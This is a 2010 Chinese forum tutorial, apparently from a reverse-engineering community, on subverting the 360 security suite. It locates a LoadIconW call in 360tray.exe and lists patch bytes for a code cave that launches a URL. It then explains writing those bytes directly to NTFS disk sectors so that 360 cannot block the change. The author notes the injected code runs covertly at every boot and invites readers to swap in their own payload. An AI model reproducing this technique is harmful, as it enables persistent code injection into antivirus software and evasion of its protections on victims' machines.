让360俯首称臣----详细教程含源码

     前沿:众所周知,360是一款拥有亿级用户的强悍软件(引用自论坛坛友未经证实),那么我等菜鸟,对驱动一无所知,如何让360俯首称臣呢?尤其是最新版的功能强大的360见附图,甚至都不能改文件名。思路决定出路,你想到了没有?

    

    简单的思路:
      1、pediy360的重要文件,插入我们的代码,实现预期功能;
      2、直接写硬盘扇区,完成“老母鸡变鸭”。 
   具体实现:
     首先:讲一下如何pediy 360的文件。
     我选择360safe\safemon\360tray.exe,先把它复制到桌面上,然后用od打开搜索当前模块中的名称 找到如下的行:  
     00477920   .rdata  USER32.LoadIconW  选中该行后回车弹出一个窗口,显示的是程序调用该api的地方,有6处,我挑了这一处0043E88F   CALL DWORD PTR DS:[<&USER32.LoadIconW>],因为程序只调用它一次,在这个地方patch的话正好。
      0043E88B  |.  8B48 04       MOV ECX,DWORD PTR DS:[EAX+4]             ; |
      0043E88E  |.  51            PUSH ECX                                 ; |hInst
      0043E88F  |.  FF15 20794700 CALL DWORD PTR DS:[<&USER32.LoadIconW>]  ; \LoadIconW
 
   接下来再找个写代码的地方,在od的中选中“查看-->内存”命令,在弹出窗口中选中
  “ 00401000  00076000  360tray  .text 代码 ”这行后按ctrl+B,搜一串00 00 00 00 00 00 00
  即可,找到地址476b8c,过去一看果然可以,感谢一下360给我们准备了这么大的空间。
       00476B81   .  E8 BFF0FCFF   CALL 360tray.00445C45
  00476B86   .  A2 7C264900   MOV BYTE PTR DS:[49267C],AL
  00476B8B   .  C3            RETN
  00476B8C      00            DB 00     //这里开始就可以写我们的代码了
  00476B8D      00            DB 00
  00476B8E      00            DB 00
  00476B8F      00            DB 00
  00476B90      00            DB 00
  00476B91      00            DB 00
  00476B92      00            DB 00
  00476B93      00            DB 00
  00476B94      00            DB 00

     修改的地方我就贴2张图了,更加直观。

     


    
    
     其次也是我们的重点就是直接写硬盘,当然干这事的时候,360都是开着的,只是它不知道我们的手段是如此的“低级”。通过前面的pediy我们可以得到如下信息:(采用delphi的语法)
       patch1: array[0..4] of byte = ($E9, $F8, $82, $03, $00);
       patch2: array[0..75] of byte = (
  $FF, $15, $20, $79, $47, $00, $60, $6A, $03, $6A, $00, $6A, $00, $68, $B1, $6B,
  $47, $00, $68, $A0, $85, $47, $00, $6A, $00, $FF, $15, $88, $78, $47, $00, $61, 
  $E9, $E4, $7C, $FC, $FF, $68, $00, $74, $00, $74, $00, $70, $00, $3A, $00, $2F, 
  $00, $2F, $00, $62, $00, $62, $00, $73, $00, $2E, $00, $70, $00, $65, $00, $64, 
  $00, $69, $00, $79, $00, $2E, $00, $63, $00, $6F, $00, $6D);
  patch1在可执行文件中的sector偏移是$1F4,扇区内偏移是$8F;
  patch2在可执行文件中的sector偏移是$3B5,扇区内偏移是$18c;
  
  在这里我简单科普一下,由于fat32比较老,这里假设360装到了ntfs格式的D:,我们先由硬盘首扇中的信息得到第二个分区的起始位置,加上十进制的63就是D:引导记录的位置,从中我们可以得知该分区的文件系统是ntfs,每簇扇区数,$MFT的起始簇号。这时就可以定位$MFT,然后通过的file record信息得到$MFT的大小,在此范围内搜索到360tray.exe的file record,再通过其80h属性值中的data run信息定位该文件在硬盘中具体分布在哪些地方,我的例子中是连续分布的,相对简单。如果遇到下面的情形就要再复杂一些,6处31表示文件分布在6处,每个31后的四个字节,其中第一个是该处数据块占用的簇数,后3个字节是起始位置(相对于D:的引导记录)。这样的情况我就不处理了,通常硬盘用的时间长了可能就会这样,刚开始用的硬盘即使一部高清电影,也都是连续存放的。
  0C0B9B900                                            80 00 00 00 60 00 00 00      
  0C0B9B910   01 00 00 00 00 00 03 00  00 00 00 00 00 00 00 00    
  0C0B9B920   F9 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00   
  0C0B9B930   00 A0 0F 00 00 00 00 00  38 96 0F 00 00 00 00 00    
  0C0B9B940   38 96 0F 00 00 00 00 00  31 06 72 1B 05 31 06 8E  
  0C0B9B950   71 01 31 35 C6 2E FB 31  4A C7 AF 04 31 35 13 C3    
  0C0B9B960   00 31 3A 67 6A 13 00 C3  FF FF FF FF 82 79 47 11  
  
  讲了这么多,大家也不一定理解,代码见附件(含diy过的360tray.exe)。
  注:没有优化过,基本实现功能,测试必要条件:
  1、360安装在D盘;
  2、D盘是NTFS文件系统;
  3、360tray.exe连续存放;
  4、相同的360版本,见上图。
  其实,只要在上面的基础上简单修改一下就通用了,考虑到具有一定的危害性就到此为止。
  在360运行的环境中,执行程序不会遇到抵抗,以后每次电脑启动,都会偷偷执行360中嵌
  入的代码,我只是演示了打开论坛主页,如果你有更好的想法也可以试试,但是请不要用
  于非法用途。一点小小的心得,愿与大家分享,水平业余错误难免,如有误导抱歉!
  
                                                  
                                                                  by 天易love  2010-04-15

上传的附件 Unit1.rar